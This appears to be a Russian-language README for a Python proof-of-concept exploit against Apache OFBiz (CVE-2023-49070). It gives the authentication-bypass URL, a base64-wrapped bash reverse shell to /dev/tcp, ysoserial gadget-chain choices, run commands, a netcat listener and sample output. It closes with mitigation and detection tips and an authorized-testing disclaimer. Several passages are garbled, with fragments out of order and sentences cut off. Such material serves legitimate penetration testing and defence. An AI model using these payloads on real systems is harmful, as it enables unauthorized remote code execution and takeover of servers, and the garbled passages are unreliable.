
Python PoC для Apache OFBiz CVE-2023-49070: обход аутентификации на /webtools/control/xmlrpc плюс цепочка гаджетов ysoserial для достижения десериализационного RCE до аутентификации.
PoC для pre-auth десериализационного RCE в Apache OFBiz XML-RPC, отслеживаемого как
CVE-2023-49070: путь обхода аутентификации открывает доступ к устаревшей
конечной точке /webtools/control/xmlrpc, которая десериализует
контролируемый злоумышленником Java-объект, переданный внутри параметра
<serializable> XML-RPC.
⚠️ Только для авторизованного тестирования безопасности. Запускайте это только против систем, которыми вы владеете или которые вам явно разрешено тестировать (CTF/лабораторные среды, проекты с подписанным скоупом и т.д.). Неавторизованный доступ к компьютерным системам незаконен в большинстве юрисдикций.
Аутентификация view-map в Apache OFBiz обычно защищает
/webtools/control/xmlrpc. Уязвимые версии (< 18.12.10) можно
заставить пропустить эту проверку, добавив точку с запятой и определённые
параметры запроса к пути:
/webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y
После достижения конечная точка принимает XML-RPC запросы. Java-реализация
Apache XML-RPC поддерживает расширенный тип <serializable>: содержимое
элемента декодируется из base64 и передаётся напрямую в
— классическая небезопасная десериализация Java.
При наличии подходящей цепочки гаджетов в classpath (этот PoC по умолчанию
использует через ),
это напрямую приводит к удалённому выполнению команд от имени
пользователя ОС, запускающего OFBiz.
ObjectInputStream.readObject()CommonsBeanutils1Это то же семейство ошибок, что и более ранние CVE десериализации XML-RPC в OFBiz (например, родственный обход аутентификации в CVE-2023-51467); в OFBiz наблюдается повторяющийся паттерн пар «обход аутентификации + десериализация» на этой конечной точке, поэтому проверьте точный диапазон CVE/версий, применимый к вашей цели, прежде чем полагаться на этот PoC.
bash -i >& /dev/tcp/LHOST/LPORT 0>&1,
кодирует его в base64 и оборачивает в однострочник
bash -c 'echo ... | base64 -d | bash'
(обходит искажение shell-метасимволов далее по
цепочке выполнения).ysoserial для сборки сериализованной цепочки гаджетов
(CommonsBeanutils1 по умолчанию, настраивается), которая выполняет этот
однострочник.<serializable>.TARGET/webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y.No such service) — это
сигнал о том, что полезная нагрузка была обработана, а не доказательство выполнения кода.Он не может подтвердить, что вы получили shell — OFBiz в любом случае возвращает
общую ошибку после запуска десериализации (сам метод XML-RPC, Dns, не
существует как реальный сервис). Всегда держите слушатель запущенным и проверяйте его,
а не только вывод консоли скрипта.
pip install requests --break-system-packagesysoserial-all.jar — соберите его самостоятельно из
frohoff/ysoserial
(mvn clean package -DskipTests) или возьмите релизный jar. Здесь не
включён — это большой сторонний инструмент со своей лицензией.python3 ofbiz_xmlrpc_rce.py \
--target https://ofbiz.target.tld \
--lhost 10.10.14.1 --lport 4444 \
--ysoserial /path/to/ysoserial-all.jar
Сначала запустите слушатель:
nc -lvnp 4444
| Флаг | По умолчанию | Описание |
|---|---|---|
--target | (обязательно) | Базовый URL цели, например https://ofbiz.target.tld |
--lhost | (обязательно) | IP вашего слушателя |
--lport | (обязательно) | Порт вашего слушателя |
--ysoserial | ysoserial-all.jar | Путь к jar-файлу ysoserial |
--gadget | CommonsBeanutils1 | Используемая цепочка гаджетов ysoserial |
--java-bin | java | Вызываемый бинарник Java |
--timeout | 15 | Таймаут HTTP-запроса (секунды) |
--proxy | (нет) | Необязательный HTTP(S)-прокси, например для маршрутизации через Burp |
CommonsBeanutils1 — классический выбор для OFBiz (в classpath поставляется
commons-beanutils), но если он не срабатывает, встроенные библиотеки OFBiz
поддерживают и другие цепочки. Просто замените --gadget:
python3 ofbiz_xmlrpc_rce.py --target https://ofbiz.target.tld \
--lhost 10.10.14.1 --lport 4444 \
--ysoserial /path/to/ysoserial-all.jar \
--gadget CommonsCollections6
$ python3 ofbiz_xmlrpc_rce.py --target https://ofbiz.target.tld \
--lhost 10.10.14.1 --lport 4444 --ysoserial ./ysoserial-all.jar
[*] Building reverse shell one-liner for 10.10.14.1:4444 ...
[*] Building 'CommonsBeanutils1' gadget chain with ysoserial (./ysoserial-all.jar) ...
[+] Gadget chain built (2847 bytes)
[*] Sending payload to https://ofbiz.target.tld ...
[+] HTTP status: 200
[+] Response matches the expected post-deserialization error.
This is a signal the gadget chain executed, not proof of a shell.
[*] Check your listener: nc -lvnp 4444
/webtools/control/xmlrpc, если вы не
активно используете интеграцию XML-RPC; компонент webtools в целом
является частой целью и не должен быть доступен из интернета без веской
причины.; против парсинга путей Java-сервлетами.ObjectInputFilter, доступен с JEP 290 / Java 9+) для блокировки
известных классов цепочек гаджетов от создания, независимо от того,
какая конечная точка запускает десериализацию.*/control/xmlrpc*, содержащими
элементы <serializable>, неожиданными исходящими соединениями с
хоста OFBiz и дочерними процессами, порождёнными Java-процессом, запускающим
OFBiz.MIT — см. LICENSE.